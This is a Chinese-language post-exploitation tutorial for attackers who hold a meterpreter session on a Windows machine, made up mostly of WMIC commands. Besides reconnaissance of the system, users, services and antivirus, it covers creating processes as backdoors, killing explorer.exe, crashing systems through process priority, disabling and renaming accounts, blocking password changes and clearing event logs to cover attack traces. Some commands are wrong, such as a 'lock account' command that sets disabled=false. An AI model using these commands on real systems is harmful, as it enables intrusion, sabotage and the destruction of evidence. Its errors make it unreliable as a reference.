在這篇文章中,我們將討論如何在攻擊的后滲透利用階段使用WMIC(Windows Management InstrumentationCommand Line)。當(dāng)攻擊者在遠程PC上拿到meterpreter會話之后,他們就可以枚舉大量的系統(tǒng)信息,并利用WMI命令行工具來進行更深程度的操作。首先,我們會介紹如何拿到遠程PC的meterpreter會話。拿到會話之后,我們還會告訴大家如何提權(quán)至管理員權(quán)限。 WMIC命令行可以通過Windows CMD來訪問,直接在meterpreter shell中輸入“shell“即可。接下來,我們一起看一看WMIC命令以及相應(yīng)的工作機制。 WMIC下面這個命令可以查看WMIC命令的全局選項,WMIC全局選項可以用來設(shè)置WMIC環(huán)境的各種屬性,通過結(jié)合各種全局選項以及參數(shù),我們就可以通過WMIC環(huán)境來管理整個系統(tǒng)了。 wmic /?

獲取系統(tǒng)角色、用戶名和制造商銅鼓WMIC命令的操作系統(tǒng)指令,我們可以枚舉出大量關(guān)于目標系統(tǒng)的信息,包括主機名、域名、制造商以及設(shè)備型號等等。 我們還可以添加下列過濾器來獲取更精準的掃描結(jié)果: Roles:它可以給我們提供目標設(shè)備在整個網(wǎng)絡(luò)系統(tǒng)中所扮演的角色,例如工作站、服務(wù)器或個人PC等等。 Manufacturer:它可以給我們提供目標系統(tǒng)的制造商和設(shè)備型號,因為某些特定制造商所生產(chǎn)的特定型號設(shè)備會存在特定的漏洞,因此我們可以利用這部分信息來尋找存在漏洞的設(shè)備。 UserName:它可以給我們返回系統(tǒng)的用戶名,我們可以利用這部分信息來區(qū)分誰是管理員誰是普通用戶。 [/format:list]:以列表格式輸出數(shù)據(jù)并排列。 wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list

獲取SID為了枚舉出SID,我們需要用到WMIC的group選項: wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
如下圖所示,我們已經(jīng)查找到了賬戶名、域名、本地組成員狀態(tài)、SID以及相應(yīng)的狀態(tài): 
創(chuàng)建一個進程WMIC命令的process選項可以幫助我們在目標用戶的系統(tǒng)中創(chuàng)建各種進程。這種功能可以幫助我們創(chuàng)建后門,或占用大量目標系統(tǒng)的內(nèi)存: wmic process call create “[Process Name]”
wmic process call create “taskmgr.exe”
你可以從下圖中看到,這個命令不僅會創(chuàng)建一個進程,而且還會賦予相應(yīng)的進程ID,所以我們就可以根據(jù)我們的需要來修改進程信息了。 
注意:如果進程創(chuàng)建了一個類似任務(wù)管理器和CMD這樣的窗口,那么這條命令將會在目標系統(tǒng)中打開這個窗口,這樣會引起目標用戶的懷疑。 修改進程優(yōu)先級WMIC命令的process選項還可以幫我們修改目標系統(tǒng)中運行進程的優(yōu)先級,這是一個非常有用的功能。降低某個進程的優(yōu)先級可能會導(dǎo)致特定的應(yīng)用程序發(fā)生崩潰,而提升某個進程的優(yōu)先級甚至還會導(dǎo)致整個系統(tǒng)發(fā)生崩潰。 wmic process where name=”explorer.exe” call set priority 64

終止進程WMIC命令還可以幫我們終止目標系統(tǒng)正在運行的進程: wmic process where name=”explorer.exe” call terminate

獲取可執(zhí)行文件列表下面的命令可以枚舉出整個系統(tǒng)中所有可執(zhí)行文件的路徑地址: wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath

獲取目錄屬性WMIC命令的fsdir選項可以提取目標系統(tǒng)中文件目錄的基本信息,其中包括壓縮方法、創(chuàng)建日期、文件大小、是否可讀寫、是否為系統(tǒng)文件、加密狀態(tài)以及加密類型等等: wmic fsdir where=”drive=’c:’ and filename=’test’” get /format:list’

獲取文件屬性WMIC命令的datafile選項可以獲取目標系統(tǒng)中文件的基本信息,其中包括壓縮方法、創(chuàng)建日期、文件大小、是否可讀寫、是否為系統(tǒng)文件、加密狀態(tài)以及加密類型等等: wmic datafile where=’[Path of File]’ get /format:list
wmic datafile where name=’c:\\windows\\system32\\demo\\demo.txt’ get /format:list

定位系統(tǒng)文件WMIC可以提取出所有重要系統(tǒng)文件的路徑,例如temp目錄和win目錄等等: wmic environment get Description, VariableValue

獲取已安裝的應(yīng)用程序列表wmic product get name

獲取正在運行的服務(wù)列表獲取到正在運行的服務(wù)列表之后,WMIC還可以提供服務(wù)的啟動模式,例如“自動”、“手動”和“運行中”: wmic service where (state=”running”) get caption, name, startmode

獲取系統(tǒng)驅(qū)動詳情sysdrive選項可以枚舉出驅(qū)動的名稱、路徑和服務(wù)類型等數(shù)據(jù): wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list

獲取操作系統(tǒng)詳情os選項可以列舉出目標系統(tǒng)的上一次啟動時間、注冊的用戶數(shù)量、處理器數(shù)量、物理/虛擬內(nèi)存信息和安裝的操作系統(tǒng)類型等等: wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate,NumberofProcesses, NumberofUsers, Organization, RegisteredUsers, Status/format:list

獲取主板信息和BIOS序列號wmic baseboard, get Manufacturer, Product, SerialNumber, Version

wmic bios, get serialNumber

獲取內(nèi)存緩存數(shù)據(jù)memcache選項可以獲取到內(nèi)存緩存名和塊大小等信息: wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status

獲取內(nèi)存芯片信息memorychip選項可以獲取到RAM的相關(guān)信息,例如序列號等等: wmic memorychip get PartNumber, SerialNumber

判斷目標系統(tǒng)是否為虛擬機我們可以根據(jù)onboarddevice選項返回的信息來判斷目標系統(tǒng)到底是真實的主機操作系統(tǒng),還是一臺虛擬機(VMware或Virtual Box): wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list

用戶賬號管理鎖定用戶賬號我們可以使用useraccount選項來鎖定本地用戶賬號: wmic useraccount where name=’demo’ set disabled=false

用戶賬號重命名wmic useraccount where name=’demo’ rename hacker

限制用戶修改密碼我們還可以限制本地用戶的密碼修改操作: wmic useraccount where name=’hacker’ set passwordchangeable=false

獲取反病毒產(chǎn)品詳情我們可以枚舉出目標系統(tǒng)安裝的反病毒產(chǎn)品信息,包括安裝位置和版本: wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

清理系統(tǒng)日志WMIC命令的nteventlog選項還可以清除系統(tǒng)的日志記錄,當(dāng)你入侵了某個系統(tǒng)之后,這個命令可以幫助你掩蓋攻擊痕跡: wmic nteventlog where filename='[logfilename]’ cleareventlog
wmic nteventlog where filename=’system’ cleareventlog

|